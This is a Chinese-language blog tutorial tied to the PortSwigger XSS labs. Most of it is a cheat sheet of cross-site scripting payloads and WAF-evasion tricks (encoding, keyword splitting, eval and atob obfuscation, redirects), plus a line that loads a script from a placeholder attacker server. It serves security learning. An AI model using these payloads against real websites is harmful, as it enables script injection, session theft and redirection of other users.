【无标题】【portswigger】第二专题-XSS(一)

portswigger 靶场(第二章节)XSS(一)


视频同步更新至bilibili

bilibili地址
【portswigger】第二专题-XSS(一·前置知识)
 https://www.bilibili.com/video/BV1mp4y157xA/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

欢迎关注微信公众号:微光安全团队

这一篇文章是一个关于xss的简单总结

首先你需要有一点点的js知识
最起码知道什么东西都是干什么的
其次,你要对xss进行一个简单的分类
常规来说有反射型,存储型,dom型,但我觉得这些都没啥用,知道不知道没什么不同
所以我就简单的按照一些xss注入点来说

哪些地方可以注入

  1. 文件上传可以注html文件
  2. 在前端显示的任何可控输入例如
  3. 评论
  4. 头像
  5. 名字
  6. url
  7. ······

注入点裸奔

这种情况很少,但是也不是没有
所以直接

<img src=1 onerror=alert(1);>
或者其他的什么payload
例如
<script> alert(1);</script>
<script src="http://<yourVPS>/xss.js"></script>
都可以

注入点在<script></script>之间

这种的一般来说有两种方法

无过滤

一种是闭合掉前面的<script>然后alert(1)这样子

</script><script>alert(1)</script>
有过滤

js中可以进行很多事情
比如eval

eval('alert(1)')

注入点在html属性中

我们经常会遇到

<input value="输出"><img onload="...[输出]..."><body style="...[输出]...">

这些地方的输出点
通常解决方法:

<input type="text" value="北京欢迎您" />
它显示出来是这样
http://xxxx.com/xxxx.php?key=北京欢迎您
我们的payload是
" οnclick="alert(1)
在html中表达为
<input type="text" value="北京欢迎您" onclick="alert(1)" />
显示为一个北京欢迎您的按钮,你一点就会alert

还有一些payload
<img src="abc" onerror="alert(1);">
<input id="123" value="test" onblur="alert(1);">
利用一些自动执行的标签会更好

注入点在src,href属性的一些标签中

最常见的payload

<a href="javascript:alert(1);">aaaa</a>
<iframe src="javascript:alert(1);"></iframe>

绕过

以上的所有例子都会遇到很多的过滤
所以大致的绕过如下

    大小写绕过
    双写绕过
    替换绕过
        alert可用prompt,confirm,top['alert'](1)
        ()可用 ``代替
        空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
        字符ſ(ord=383)转为大写为S
    编码绕过
        url编码
        html实体
        javascript字符编码  八进制\164 十六进制\x0074
    js的String.fromCharCode方法获得字符串
    注释绕过
        JavaScript注释 // /**/
        html注释 <!-- --> <!-- --!>
    @符号绕过url限制http://test:test@www.baidu.com
    宽字节绕过等
一些例子

我在给出一些具体的绕过例子
也推荐一个在查找信息时看到的一个文章
还挺全的

https://blog.csdn.net/qq_29277155/article/details/51320064

建议都看一遍

过滤空格
用/代替空格
<img/src="x"/onerror=alert("xss");>

大小写绕过
<ImG sRc=x onerRor=alert("xss");>

双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>

字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top
<script>top["al"+"ert"](`xss`);</script>

其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子

可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制
<img src=x onerror=alert('\170\163\163')>

base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号
1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>

过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

5.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

html规则

你还需要知道一些浏览器的规则,这更有利于你的操作
先说总结

    <script><style>数据只能有文本,不会有HTML解码和URL解码操作
    <textarea><title>里会有HTML解码操作,但不会有子元素
    其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
    部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
    JavaScript会对字符串和标识符Unicode解码
1<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
里面没有HTML编码内容,不考虑,其中href内部是URL,于是直接丢给URL模块处理,但是协议无法识别(即被编码的javascript:),解码失败,不会被执行
URL规定协议,用户名,密码都必须是ASCII,编码当然就无效了

2<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">
先HTML解码,得到
<a href="javascript:%61%6c%65%72%74%28%32%29">
href中为URL,URL模块可识别为javascript协议,进行URL解码,得到
<a href="javascript:alert(2)">
由于是javascript协议,解码完给JS模块处理,于是被执行

3<a href="javascript%3aalert(3)"></a>1

4<div>&#60;img src=x οnerrοr=alert(4)&#62;</div>
这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行
从HTML解析机制看,在读取<div>之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素,也就不会执行

5<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
<textarea>是RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素,HTML解码得到
<textarea><script>alert(5)</script></textarea>
 于是直接显示
          RCDATA`元素(RCDATA elements)包括`textarea`和`title
          
6<textarea><script>alert(6)</script></textarea>5一样

7<button onclick="confirm('7&#39;);">Button</button>
这里onclick中为标签的属性值(类比2中的href),会被HTML解码,得到
<button onclick="confirm('7');">Button</button>
 然后执行
 
8<button onclick="confirm('8\u0027);">Button</button>
onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行,JS执行失败

9<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,JS也认不出来,执行失败
原始文本元素(Raw text elements)<script><style>

10<script>\u0061\u006c\u0065\u0072\u0074(10);</script>8一样,函数名alert属于标识符,直接被JS执行

11<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>8一样

12<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
这里看似将没毛病,但是这里\u0031\u0032在解码的时候会被解码为字符串12,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败

13<script>alert('13\u0027)</script>8一样

14<script>alert('14\u000a')</script>
\u000a在JavaScript里是换行,就是\n,直接执行

15<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>
先HTML解码,得到
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
在href中由URL模块处理,解码得到
javascript:\u0061\u006c\u0065\u0072\u0074(15)
识别JS协议,然后由JS模块处理,解码得到
javascript:alert(15)
最后被执行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值